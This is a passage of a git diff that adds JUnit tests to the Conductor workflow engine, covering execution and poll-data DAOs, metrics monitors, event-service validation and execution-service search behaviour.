getExecutionDAO().getPendingTasksForTaskType(tasks.get(0).getTaskDefName()); + assertNotNull(pending); + assertEquals(2, pending.size()); + // Pending list can come in any order. finding the one we are looking for and then + // comparing + TaskModel matching = + pending.stream() + .filter(task -> task.getTaskId().equals(tasks.get(0).getTaskId())) + .findAny() + .get(); + assertTrue(EqualsBuilder.reflectionEquals(matching, tasks.get(0))); + + for (int i = 0; i < 3; i++) { + TaskModel found = getExecutionDAO().getTask(workflowId + "_t" + i); + assertNotNull(found); + found.addOutput("updated", true); + found.setStatus(TaskModel.Status.COMPLETED); + getExecutionDAO().updateTask(found); + } + + List taskIds = + tasks.stream().map(TaskModel::getTaskId).collect(Collectors.toList()); + List found = getExecutionDAO().getTasks(taskIds); + assertEquals(taskIds.size(), found.size()); + found.forEach( + task -> { + assertTrue(task.getOutputData().containsKey("updated")); + assertEquals(true, task.getOutputData().get("updated")); + boolean removed = getExecutionDAO().removeTask(task.getTaskId()); + assertTrue(removed); + }); + + found = getExecutionDAO().getTasks(taskIds); + assertTrue(found.isEmpty()); + } + + @Test + public void testPending() { + WorkflowDef def = new WorkflowDef(); + def.setName("pending_count_test"); + + WorkflowModel workflow = createTestWorkflow(); + workflow.setWorkflowDefinition(def); + + List workflowIds = generateWorkflows(workflow, 10); + long count = getExecutionDAO().getPendingWorkflowCount(def.getName()); + assertEquals(10, count); + + for (int i = 0; i < 10; i++) { + getExecutionDAO().removeFromPendingWorkflow(def.getName(), workflowIds.get(i)); + } + + count = getExecutionDAO().getPendingWorkflowCount(def.getName()); + assertEquals(0, count); + } + + @Test + public void complexExecutionTest() { + WorkflowModel workflow = createTestWorkflow(); + int numTasks = workflow.getTasks().size(); + + String workflowId = getExecutionDAO().createWorkflow(workflow); + assertEquals(workflow.getWorkflowId(), workflowId); + + List created = getExecutionDAO().createTasks(workflow.getTasks()); + assertEquals(workflow.getTasks().size(), created.size()); + + WorkflowModel workflowWithTasks = + getExecutionDAO().getWorkflow(workflow.getWorkflowId(), true); + assertEquals(workflowId, workflowWithTasks.getWorkflowId()); + assertEquals(numTasks, workflowWithTasks.getTasks().size()); + + WorkflowModel found = getExecutionDAO().getWorkflow(workflowId, false); + assertTrue(found.getTasks().isEmpty()); + + workflow.getTasks().clear(); + assertEquals(workflow, found); + + workflow.getInput().put("updated", true); + getExecutionDAO().updateWorkflow(workflow); + found = getExecutionDAO().getWorkflow(workflowId); + assertNotNull(found); + assertTrue(found.getInput().containsKey("updated")); + assertEquals(true, found.getInput().get("updated")); + + List running = + getExecutionDAO() + .getRunningWorkflowIds( + workflow.getWorkflowName(), workflow.getWorkflowVersion()); + assertNotNull(running); + assertTrue(running.isEmpty()); + + workflow.setStatus(WorkflowModel.Status.RUNNING); + getExecutionDAO().updateWorkflow(workflow); + + running = + getExecutionDAO() + .getRunningWorkflowIds( + workflow.getWorkflowName(), workflow.getWorkflowVersion()); + assertNotNull(running); + assertEquals(1, running.size()); + assertEquals(workflow.getWorkflowId(), running.get(0)); + + List pending = + getExecutionDAO() + .getPendingWorkflowsByType( + workflow.getWorkflowName(), workflow.getWorkflowVersion()); + assertNotNull(pending); + assertEquals(1, pending.size()); + assertEquals(3, pending.get(0).getTasks().size()); + pending.get(0).getTasks().clear(); + assertEquals(workflow, pending.get(0)); + + workflow.setStatus(WorkflowModel.Status.COMPLETED); + getExecutionDAO().updateWorkflow(workflow); + running = + getExecutionDAO() + .getRunningWorkflowIds( + workflow.getWorkflowName(), workflow.getWorkflowVersion()); + assertNotNull(running); + assertTrue(running.isEmpty()); + + List bytime = + getExecutionDAO() + .getWorkflowsByType( + workflow.getWorkflowName(), + System.currentTimeMillis(), + System.currentTimeMillis() + 100); + assertNotNull(bytime); + assertTrue(bytime.isEmpty()); + + bytime = + getExecutionDAO() + .getWorkflowsByType( + workflow.getWorkflowName(), + workflow.getCreateTime() - 10, + workflow.getCreateTime() + 10); + assertNotNull(bytime); + assertEquals(1, bytime.size()); + } + + protected WorkflowModel createTestWorkflow() { + WorkflowDef def = new WorkflowDef(); + def.setName("Junit Workflow"); + def.setVersion(3); + def.setSchemaVersion(2); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(def); + workflow.setCorrelationId("correlationX"); + workflow.setCreatedBy("junit_tester"); + workflow.setEndTime(200L); + + Map input = new HashMap<>(); + input.put("param1", "param1 value"); + input.put("param2", 100); + workflow.setInput(input); + + Map output = new HashMap<>(); + output.put("ouput1", "output 1 value"); + output.put("op2", 300); + workflow.setOutput(output); + + workflow.setOwnerApp("workflow"); + workflow.setParentWorkflowId("parentWorkflowId"); + workflow.setParentWorkflowTaskId("parentWFTaskId"); + workflow.setReasonForIncompletion("missing recipe"); + workflow.setReRunFromWorkflowId("re-run from id1"); + workflow.setCreateTime(90L); + workflow.setStatus(WorkflowModel.Status.FAILED); + workflow.setWorkflowId(UUID.randomUUID().toString()); + + List tasks = new LinkedList<>(); + + TaskModel task = new TaskModel(); + task.setScheduledTime(1L); + task.setSeq(1); + task.setTaskId(UUID.randomUUID().toString()); + task.setReferenceTaskName("t1"); + task.setWorkflowInstanceId(workflow.getWorkflowId()); + task.setTaskDefName("task1"); + + TaskModel task2 = new TaskModel(); + task2.setScheduledTime(2L); + task2.setSeq(2); + task2.setTaskId(UUID.randomUUID().toString()); + task2.setReferenceTaskName("t2"); + task2.setWorkflowInstanceId(workflow.getWorkflowId()); + task2.setTaskDefName("task2"); + + TaskModel task3 = new TaskModel(); + task3.setScheduledTime(2L); + task3.setSeq(3); + task3.setTaskId(UUID.randomUUID().toString()); + task3.setReferenceTaskName("t3"); + task3.setWorkflowInstanceId(workflow.getWorkflowId()); + task3.setTaskDefName("task3"); + + tasks.add(task); + tasks.add(task2); + tasks.add(task3); + + workflow.setTasks(tasks); + + workflow.setUpdatedBy("junit_tester"); + workflow.setUpdatedTime(800L); + + return workflow; + } + + protected List generateWorkflows(WorkflowModel base, int count) { + List workflowIds = new ArrayList<>(); + for (int i = 0; i < count; i++) { + String workflowId = UUID.randomUUID().toString(); + base.setWorkflowId(workflowId); + base.setCorrelationId("corr001"); + base.setStatus(WorkflowModel.Status.RUNNING); + getExecutionDAO().createWorkflow(base); + workflowIds.add(workflowId); + } + return workflowIds; + } +} diff --git a/core/src/test/java/com/netflix/conductor/dao/PollDataDAOTest.java b/core/src/test/java/com/netflix/conductor/dao/PollDataDAOTest.java new file mode 100644 index 0000000..856ce6c --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/dao/PollDataDAOTest.java @@ -0,0 +1,54 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.dao; + +import java.util.List; + +import org.junit.Test; + +import com.netflix.conductor.common.metadata.tasks.PollData; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertNull; +import static org.junit.Assert.assertTrue; + +public abstract class PollDataDAOTest { + + protected abstract PollDataDAO getPollDataDAO(); + + @Test + public void testPollData() { + getPollDataDAO().updateLastPollData("taskDef", null, "workerId1"); + PollData pollData = getPollDataDAO().getPollData("taskDef", null); + assertNotNull(pollData); + assertTrue(pollData.getLastPollTime() > 0); + assertEquals(pollData.getQueueName(), "taskDef"); + assertNull(pollData.getDomain()); + assertEquals(pollData.getWorkerId(), "workerId1"); + + getPollDataDAO().updateLastPollData("taskDef", "domain1", "workerId1"); + pollData = getPollDataDAO().getPollData("taskDef", "domain1"); + assertNotNull(pollData); + assertTrue(pollData.getLastPollTime() > 0); + assertEquals(pollData.getQueueName(), "taskDef"); + assertEquals(pollData.getDomain(), "domain1"); + assertEquals(pollData.getWorkerId(), "workerId1"); + + List pData = getPollDataDAO().getPollData("taskDef"); + assertEquals(pData.size(), 2); + + pollData = getPollDataDAO().getPollData("taskDef", "domain2"); + assertNull(pollData); + } +} diff --git a/core/src/test/java/com/netflix/conductor/metrics/MetricsCollectorTest.java b/core/src/test/java/com/netflix/conductor/metrics/MetricsCollectorTest.java new file mode 100644 index 0000000..9bfff81 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/metrics/MetricsCollectorTest.java @@ -0,0 +1,40 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.metrics; + +import org.junit.Test; + +import io.micrometer.core.instrument.Counter; +import io.micrometer.core.instrument.simple.SimpleMeterRegistry; + +import static org.junit.Assert.*; + +public class MetricsCollectorTest { + + @Test + public void constructor_wiresRegistryIntoMonitors() { + SimpleMeterRegistry registry = new SimpleMeterRegistry(); + new MetricsCollector(registry); + + Monitors.getCounter("mc_test_counter", "source", "test").increment(7); + + Counter counter = registry.find("mc_test_counter").counter(); + assertNotNull("Counter should be visible in the wired registry", counter); + assertEquals(7.0, counter.count(), 0.001); + } + + @Test + public void getMeterRegistry_delegatesToMonitors() { + assertSame(Monitors.getRegistry(), MetricsCollector.getMeterRegistry()); + } +} diff --git a/core/src/test/java/com/netflix/conductor/metrics/MonitorsTest.java b/core/src/test/java/com/netflix/conductor/metrics/MonitorsTest.java new file mode 100644 index 0000000..84ce3a8 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/metrics/MonitorsTest.java @@ -0,0 +1,111 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.metrics; + +import java.util.concurrent.TimeUnit; + +import org.junit.Test; + +import io.micrometer.core.instrument.Counter; +import io.micrometer.core.instrument.MeterRegistry; +import io.micrometer.core.instrument.Timer; +import io.micrometer.core.instrument.simple.SimpleMeterRegistry; + +import static org.junit.Assert.*; + +public class MonitorsTest { + + @Test + public void getRegistry_returnsNonNull() { + assertNotNull(Monitors.getRegistry()); + } + + @Test + public void addMeterRegistry_metersAreVisibleInAddedRegistry() { + SimpleMeterRegistry extra = new SimpleMeterRegistry(); + Monitors.addMeterRegistry(extra); + + // Record something after adding the registry + Monitors.getCounter("test_add_registry_counter", "tag", "value").increment(3); + + Counter counter = extra.find("test_add_registry_counter").counter(); + assertNotNull("Counter should be visible in newly added registry", counter); + assertEquals(3.0, counter.count(), 0.001); + } + + @Test + public void getCounter_sameKeyReturnsSameInstance() { + Counter c1 = Monitors.getCounter("test_counter_identity", "k", "v"); + Counter c2 = Monitors.getCounter("test_counter_identity", "k", "v"); + assertSame(c1, c2); + } + + @Test + public void getTimer_sameKeyReturnsSameInstance() { + Timer t1 = Monitors.getTimer("test_timer_identity", "k", "v"); + Timer t2 = Monitors.getTimer("test_timer_identity", "k", "v"); + assertSame(t1, t2); + } + + @Test + public void getGauge_aliasMatchesGauge() { + // getGauge and gauge should return the same AtomicDouble for the same key + assertSame( + Monitors.gauge("test_gauge_alias", "k", "v"), + Monitors.getGauge("test_gauge_alias", "k", "v")); + } + + @Test + public void getDistributionSummary_aliasMatchesDistributionSummary() { + assertSame( + Monitors.distributionSummary("test_dist_alias", "k", "v"), + Monitors.getDistributionSummary("test_dist_alias", "k", "v")); + } + + @Test + public void recordGauge_valueIsReflectedInRegistry() { + SimpleMeterRegistry probe = new SimpleMeterRegistry(); + Monitors.addMeterRegistry(probe); + + Monitors.recordGauge("test_gauge_value", 42L); + + // gauge() in Monitors uses an AtomicDouble — the value set should be reflected + assertNotNull(probe.find("test_gauge_value").gauge()); + assertEquals(42.0, probe.find("test_gauge_value").gauge().value(), 0.001); + } + + @Test + public void timerRecordsTime() { + SimpleMeterRegistry probe = new SimpleMeterRegistry(); + Monitors.addMeterRegistry(probe); + + Monitors.getTimer("test_timer_record", "op", "read").record(100, TimeUnit.MILLISECONDS); + + Timer timer = probe.find("test_timer_record").timer(); + assertNotNull(timer); + assertEquals(1, timer.count()); + } + + @Test + public void metersWithDifferentTagsAreDistinct() { + MeterRegistry registry = Monitors.getRegistry(); + + Monitors.getCounter("test_tag_distinct", "env", "prod").increment(1); + Monitors.getCounter("test_tag_distinct", "env", "staging").increment(2); + + // Two separate meters, not the same object + assertNotSame( + Monitors.getCounter("test_tag_distinct", "env", "prod"), + Monitors.getCounter("test_tag_distinct", "env", "staging")); + } +} diff --git a/core/src/test/java/com/netflix/conductor/metrics/WorkflowMonitorTest.java b/core/src/test/java/com/netflix/conductor/metrics/WorkflowMonitorTest.java new file mode 100644 index 0000000..15917c0 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/metrics/WorkflowMonitorTest.java @@ -0,0 +1,74 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.metrics; + +import java.util.List; +import java.util.Map; +import java.util.Set; + +import org.junit.Assert; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.mockito.Mock; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.core.dal.ExecutionDAOFacade; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.service.MetadataService; + +@RunWith(SpringRunner.class) +public class WorkflowMonitorTest { + + @Mock private MetadataService metadataService; + @Mock private QueueDAO queueDAO; + @Mock private ExecutionDAOFacade executionDAOFacade; + + private WorkflowMonitor workflowMonitor; + + @Before + public void beforeEach() { + workflowMonitor = + new WorkflowMonitor(metadataService, queueDAO, executionDAOFacade, 1000, Set.of()); + } + + private WorkflowDef makeDef(String name, int version, String ownerApp) { + WorkflowDef wd = new WorkflowDef(); + wd.setName(name); + wd.setVersion(version); + wd.setOwnerApp(ownerApp); + return wd; + } + + @Test + public void testPendingWorkflowDataMap() { + WorkflowDef test1_1 = makeDef("test1", 1, null); + WorkflowDef test1_2 = makeDef("test1", 2, "name1"); + + WorkflowDef test2_1 = makeDef("test2", 1, "first"); + WorkflowDef test2_2 = makeDef("test2", 2, "mid"); + WorkflowDef test2_3 = makeDef("test2", 3, "last"); + + final Map mapping = + workflowMonitor.getPendingWorkflowToOwnerAppMap( + List.of(test1_1, test1_2, test2_1, test2_2, test2_3)); + + Assert.assertEquals(2, mapping.keySet().size()); + Assert.assertTrue(mapping.containsKey("test1")); + Assert.assertTrue(mapping.containsKey("test2")); + + Assert.assertEquals("name1", mapping.get("test1")); + Assert.assertEquals("last", mapping.get("test2")); + } +} diff --git a/core/src/test/java/com/netflix/conductor/service/EventServiceTest.java b/core/src/test/java/com/netflix/conductor/service/EventServiceTest.java new file mode 100644 index 0000000..ce96ce8 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/service/EventServiceTest.java @@ -0,0 +1,105 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.service; + +import java.util.Set; + +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.core.events.EventQueues; + +import jakarta.validation.ConstraintViolationException; + +import static com.netflix.conductor.TestUtils.getConstraintViolationMessages; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertTrue; +import static org.junit.Assert.fail; +import static org.mockito.Mockito.mock; + +@SuppressWarnings("SpringJavaAutowiredMembersInspection") +@RunWith(SpringRunner.class) +@EnableAutoConfiguration +public class EventServiceTest { + + @TestConfiguration + static class TestEventConfiguration { + + @Bean + public EventService eventService() { + MetadataService metadataService = mock(MetadataService.class); + EventQueues eventQueues = mock(EventQueues.class); + return new EventServiceImpl(metadataService, eventQueues); + } + } + + @Autowired private EventService eventService; + + @Test(expected = ConstraintViolationException.class) + public void testAddEventHandler() { + try { + eventService.addEventHandler(null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("EventHandler cannot be null.")); + throw ex; + } + fail("eventService.addEventHandler did not throw ConstraintViolationException !"); + } + + @Test(expected = ConstraintViolationException.class) + public void testUpdateEventHandler() { + try { + eventService.updateEventHandler(null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("EventHandler cannot be null.")); + throw ex; + } + fail("eventService.updateEventHandler did not throw ConstraintViolationException !"); + } + + @Test(expected = ConstraintViolationException.class) + public void testRemoveEventHandlerStatus() { + try { + eventService.removeEventHandlerStatus(null); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("EventHandler name cannot be null or empty.")); + throw ex; + } + fail("eventService.removeEventHandlerStatus did not throw ConstraintViolationException !"); + } + + @Test(expected = ConstraintViolationException.class) + public void testGetEventHandlersForEvent() { + try { + eventService.getEventHandlersForEvent(null, false); + } catch (ConstraintViolationException ex) { + assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("Event cannot be null or empty.")); + throw ex; + } + fail("eventService.getEventHandlersForEvent did not throw ConstraintViolationException !"); + } +} diff --git a/core/src/test/java/com/netflix/conductor/service/ExecutionServiceTest.java b/core/src/test/java/com/netflix/conductor/service/ExecutionServiceTest.java new file mode 100644 index 0000000..5a42b89 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/service/ExecutionServiceTest.java @@ -0,0 +1,468 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.service; + +import java.time.Duration; +import java.util.Arrays; +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.mockito.Mock; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.common.utils.ExternalPayloadStorage; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.dal.ExecutionDAOFacade; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.core.execution.tasks.SystemTaskRegistry; +import com.netflix.conductor.core.listener.TaskStatusListener; +import com.netflix.conductor.core.secrets.RuntimeMetadataResolver; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.model.TaskModel; + +import static com.netflix.conductor.core.utils.Utils.DECIDER_QUEUE; + +import static junit.framework.TestCase.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertNull; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyInt; +import static org.mockito.ArgumentMatchers.anyLong; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.Mockito.times; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +@RunWith(SpringRunner.class) +public class ExecutionServiceTest { + + @Mock private WorkflowExecutor workflowExecutor; + @Mock private ExecutionDAOFacade executionDAOFacade; + @Mock private QueueDAO queueDAO; + @Mock private ConductorProperties conductorProperties; + @Mock private ExternalPayloadStorage externalPayloadStorage; + @Mock private SystemTaskRegistry systemTaskRegistry; + @Mock private TaskStatusListener taskStatusListener; + @Mock private ParametersUtils parametersUtils; + @Mock private RuntimeMetadataResolver runtimeMetadataResolver; + + private ExecutionService executionService; + + private Workflow workflow1; + private Workflow workflow2; + private Task taskWorkflow1; + private Task taskWorkflow2; + private final List sort = Collections.singletonList("Sort"); + + @Before + public void setup() { + when(conductorProperties.getTaskExecutionPostponeDuration()) + .thenReturn(Duration.ofSeconds(60)); + when(parametersUtils.substituteSecrets(any())).thenAnswer(inv -> inv.getArgument(0)); + executionService = + new ExecutionService( + workflowExecutor, + executionDAOFacade, + queueDAO, + conductorProperties, + externalPayloadStorage, + systemTaskRegistry, + taskStatusListener, + parametersUtils, + runtimeMetadataResolver); + WorkflowDef workflowDef = new WorkflowDef(); + workflow1 = new Workflow(); + workflow1.setWorkflowId("wf1"); + workflow1.setWorkflowDefinition(workflowDef); + workflow2 = new Workflow(); + workflow2.setWorkflowId("wf2"); + workflow2.setWorkflowDefinition(workflowDef); + taskWorkflow1 = new Task(); + taskWorkflow1.setTaskId("task1"); + taskWorkflow1.setWorkflowInstanceId("wf1"); + taskWorkflow2 = new Task(); + taskWorkflow2.setTaskId("task2"); + taskWorkflow2.setWorkflowInstanceId("wf2"); + } + + @Test + public void workflowSearchTest() { + when(executionDAOFacade.searchWorkflowSummary("query", "*", 0, 2, sort)) + .thenReturn( + new SearchResult<>( + 2, + Arrays.asList( + new WorkflowSummary(workflow1), + new WorkflowSummary(workflow2)))); + when(executionDAOFacade.getWorkflow(workflow1.getWorkflowId(), false)) + .thenReturn(workflow1); + when(executionDAOFacade.getWorkflow(workflow2.getWorkflowId(), false)) + .thenReturn(workflow2); + SearchResult searchResult = + executionService.search("query", "*", 0, 2, sort); + assertEquals(2, searchResult.getTotalHits()); + assertEquals(2, searchResult.getResults().size()); + assertEquals(workflow1.getWorkflowId(), searchResult.getResults().get(0).getWorkflowId()); + assertEquals(workflow2.getWorkflowId(), searchResult.getResults().get(1).getWorkflowId()); + } + + @Test + public void workflowSearchV2Test() { + when(executionDAOFacade.searchWorkflows("query", "*", 0, 2, sort)) + .thenReturn( + new SearchResult<>( + 2, + Arrays.asList( + workflow1.getWorkflowId(), workflow2.getWorkflowId()))); + when(executionDAOFacade.getWorkflow(workflow1.getWorkflowId(), false)) + .thenReturn(workflow1); + when(executionDAOFacade.getWorkflow(workflow2.getWorkflowId(), false)) + .thenReturn(workflow2); + SearchResult searchResult = executionService.searchV2("query", "*", 0, 2, sort); + assertEquals(2, searchResult.getTotalHits()); + assertEquals(Arrays.asList(workflow1, workflow2), searchResult.getResults()); + } + + @Test + public void workflowSearchV2ExceptionTest() { + when(executionDAOFacade.searchWorkflows("query", "*", 0, 2, sort)) + .thenReturn( + new SearchResult<>( + 2, + Arrays.asList( + workflow1.getWorkflowId(), workflow2.getWorkflowId()))); + when(executionDAOFacade.getWorkflow(workflow1.getWorkflowId(), false)) + .thenReturn(workflow1); + when(executionDAOFacade.getWorkflow(workflow2.getWorkflowId(), false)) + .thenThrow(new RuntimeException()); + SearchResult searchResult = executionService.searchV2("query", "*", 0, 2, sort); + assertEquals(1, searchResult.getTotalHits()); + assertEquals(Collections.singletonList(workflow1), searchResult.getResults()); + } + + @Test + public void workflowSearchByTasksTest() { + when(executionDAOFacade.searchTaskSummary("query", "*", 0, 2, sort)) + .thenReturn( + new SearchResult<>( + 2, + Arrays.asList( + new TaskSummary(taskWorkflow1), + new TaskSummary(taskWorkflow2)))); + when(executionDAOFacade.getWorkflow(workflow1.getWorkflowId(), false)) + .thenReturn(workflow1); + when(executionDAOFacade.getWorkflow(workflow2.getWorkflowId(), false)) + .thenReturn(workflow2); + SearchResult searchResult = + executionService.searchWorkflowByTasks("query", "*", 0, 2, sort); + assertEquals(2, searchResult.getTotalHits()); + assertEquals(2, searchResult.getResults().size()); + assertEquals(workflow1.getWorkflowId(), searchResult.getResults().get(0).getWorkflowId()); + assertEquals(workflow2.getWorkflowId(), searchResult.getResults().get(1).getWorkflowId()); + } + + @Test + public void workflowSearchByTasksExceptionTest() { + when(executionDAOFacade.searchTaskSummary("query", "*", 0, 2, sort)) + .thenReturn( + new SearchResult<>( + 2, + Arrays.asList( + new TaskSummary(taskWorkflow1), + new TaskSummary(taskWorkflow2)))); + when(executionDAOFacade.getWorkflow(workflow1.getWorkflowId(), false)) + .thenReturn(workflow1); + when(executionDAOFacade.getTask(workflow2.getWorkflowId())) + .thenThrow(new RuntimeException()); + SearchResult searchResult = + executionService.searchWorkflowByTasks("query", "*", 0, 2, sort); + assertEquals(1, searchResult.getTotalHits()); + assertEquals(1, searchResult.getResults().size()); + assertEquals(workflow1.getWorkflowId(), searchResult.getResults().get(0).getWorkflowId()); + } + + @Test + public void workflowSearchByTasksV2Test() { + when(executionDAOFacade.searchTasks("query", "*", 0, 2, sort)) + .thenReturn( + new SearchResult<>( + 2, + Arrays.asList( + taskWorkflow1.getTaskId(), taskWorkflow2.getTaskId()))); + when(executionDAOFacade.getTask(taskWorkflow1.getTaskId())).thenReturn(taskWorkflow1); + when(executionDAOFacade.getTask(taskWorkflow2.getTaskId())).thenReturn(taskWorkflow2); + when(executionDAOFacade.getWorkflow(workflow1.getWorkflowId(), false)) + .thenReturn(workflow1); + when(executionDAOFacade.getWorkflow(workflow2.getWorkflowId(), false)) + .thenReturn(workflow2); + SearchResult searchResult = + executionService.searchWorkflowByTasksV2("query", "*", 0, 2, sort); + assertEquals(2, searchResult.getTotalHits()); + assertEquals(Arrays.asList(workflow1, workflow2), searchResult.getResults()); + } + + @Test + public void workflowSearchByTasksV2ExceptionTest() { + when(executionDAOFacade.searchTasks("query", "*", 0, 2, sort)) + .thenReturn( + new SearchResult<>( + 2, + Arrays.asList( + taskWorkflow1.getTaskId(), taskWorkflow2.getTaskId()))); + when(executionDAOFacade.getTask(taskWorkflow1.getTaskId())).thenReturn(taskWorkflow1); + when(executionDAOFacade.getTask(taskWorkflow2.getTaskId())) + .thenThrow(new RuntimeException()); + when(executionDAOFacade.getWorkflow(workflow1.getWorkflowId(), false)) + .thenReturn(workflow1); + SearchResult searchResult = + executionService.searchWorkflowByTasksV2("query", "*", 0, 2, sort); + assertEquals(1, searchResult.getTotalHits()); + assertEquals(Collections.singletonList(workflow1), searchResult.getResults()); + } + + @Test + public void TaskSearchTest() { + List taskList = + Arrays.asList(new TaskSummary(taskWorkflow1), new TaskSummary(taskWorkflow2)); + when(executionDAOFacade.searchTaskSummary("query", "*", 0, 2, sort)) + .thenReturn(new SearchResult<>(2, taskList)); + SearchResult searchResult = + executionService.getSearchTasks("query", "*", 0, 2, "Sort"); + assertEquals(2, searchResult.getTotalHits()); + assertEquals(2, searchResult.getResults().size()); + assertEquals(taskWorkflow1.getTaskId(), searchResult.getResults().get(0).getTaskId()); + assertEquals(taskWorkflow2.getTaskId(), searchResult.getResults().get(1).getTaskId()); + } + + @Test + public void TaskSearchV2Test() { + when(executionDAOFacade.searchTasks("query", "*", 0, 2, sort)) + .thenReturn( + new SearchResult<>( + 2, + Arrays.asList( + taskWorkflow1.getTaskId(), taskWorkflow2.getTaskId()))); + when(executionDAOFacade.getTask(taskWorkflow1.getTaskId())).thenReturn(taskWorkflow1); + when(executionDAOFacade.getTask(taskWorkflow2.getTaskId())).thenReturn(taskWorkflow2); + SearchResult searchResult = + executionService.getSearchTasksV2("query", "*", 0, 2, "Sort"); + assertEquals(2, searchResult.getTotalHits()); + assertEquals(Arrays.asList(taskWorkflow1, taskWorkflow2), searchResult.getResults()); + } + + @Test + public void TaskSearchV2ExceptionTest() { + when(executionDAOFacade.searchTasks("query", "*", 0, 2, sort)) + .thenReturn( + new SearchResult<>( + 2, + Arrays.asList( + taskWorkflow1.getTaskId(), taskWorkflow2.getTaskId()))); + when(executionDAOFacade.getTask(taskWorkflow1.getTaskId())).thenReturn(taskWorkflow1); + when(executionDAOFacade.getTask(taskWorkflow2.getTaskId())) + .thenThrow(new RuntimeException()); + SearchResult searchResult = + 